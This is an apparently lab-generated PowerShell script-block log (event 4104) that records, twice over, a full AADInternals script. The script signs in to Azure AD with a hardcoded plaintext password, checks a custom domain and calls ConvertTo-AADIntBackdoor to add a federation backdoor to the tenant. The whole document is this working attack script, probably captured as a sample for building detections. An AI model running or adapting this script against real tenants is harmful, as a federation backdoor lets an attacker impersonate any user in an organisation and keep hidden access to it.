4104 1 5 2 15 0x0 278288 Microsoft-Windows-PowerShell/Operational WIN10-21H1.snapattack.labs 1 1 Import-Module AzureAD Import-Module AADInternals $PWord = ConvertTo-SecureString -String "h@ckAway!!" -AsPlainText -Force $Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList "snap@snapattack.onmicrosoft.com", $Pword try { Connect-AzureAD -Credential $Credential -ErrorAction Stop > $null } catch { Write-Host "Error: AzureAD could not connect" exit 1 } try { $domain = Get-AzureADDomain -Name "snaplabs.ddnsfree.com" } catch { Write-Host "Error: domain ""snaplabs.ddnsfree.com"" not found" exit 1 } if (-Not $domain.IsVerified) { Write-Host "Error: domain ""snaplabs.ddnsfree.com"" not verified" exit 1 } if ($domain.AuthenticationType -eq "Federated") { Write-Host "Error: domain ""snaplabs.ddnsfree.com"" already federated. Try with a different domain or re-create it before." exit 1 } $at = Get-AADIntAccessTokenForAADGraph -Credentials $Credential if (-Not $at) { Write-Host "Error: AADInternals could not connect" exit 1 } $new = ConvertTo-AADIntBackdoor -AccessToken $at -DomainName "snaplabs.ddnsfree.com" if ($new) { Write-Host "Federation successfully added to Azure AD" Write-Host $new } else { Write-Host "The federation setup failed" } Write-Host "End of federation configuration." bbddff6b-c25e-4917-8e03-f695ac907ace 4104 1 5 2 15 0x0 278288 Microsoft-Windows-PowerShell/Operational WIN10-21H1.snapattack.labs 1 1 Import-Module AzureAD Import-Module AADInternals $PWord = ConvertTo-SecureString -String "h@ckAway!!" -AsPlainText -Force $Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList "snap@snapattack.onmicrosoft.com", $Pword try { Connect-AzureAD -Credential $Credential -ErrorAction Stop > $null } catch { Write-Host "Error: AzureAD could not connect" exit 1 } try { $domain = Get-AzureADDomain -Name "snaplabs.ddnsfree.com" } catch { Write-Host "Error: domain ""snaplabs.ddnsfree.com"" not found" exit 1 } if (-Not $domain.IsVerified) { Write-Host "Error: domain ""snaplabs.ddnsfree.com"" not verified" exit 1 } if ($domain.AuthenticationType -eq "Federated") { Write-Host "Error: domain ""snaplabs.ddnsfree.com"" already federated. Try with a different domain or re-create it before." exit 1 } $at = Get-AADIntAccessTokenForAADGraph -Credentials $Credential if (-Not $at) { Write-Host "Error: AADInternals could not connect" exit 1 } $new = ConvertTo-AADIntBackdoor -AccessToken $at -DomainName "snaplabs.ddnsfree.com" if ($new) { Write-Host "Federation successfully added to Azure AD" Write-Host $new } else { Write-Host "The federation setup failed" } Write-Host "End of federation configuration." bbddff6b-c25e-4917-8e03-f695ac907ace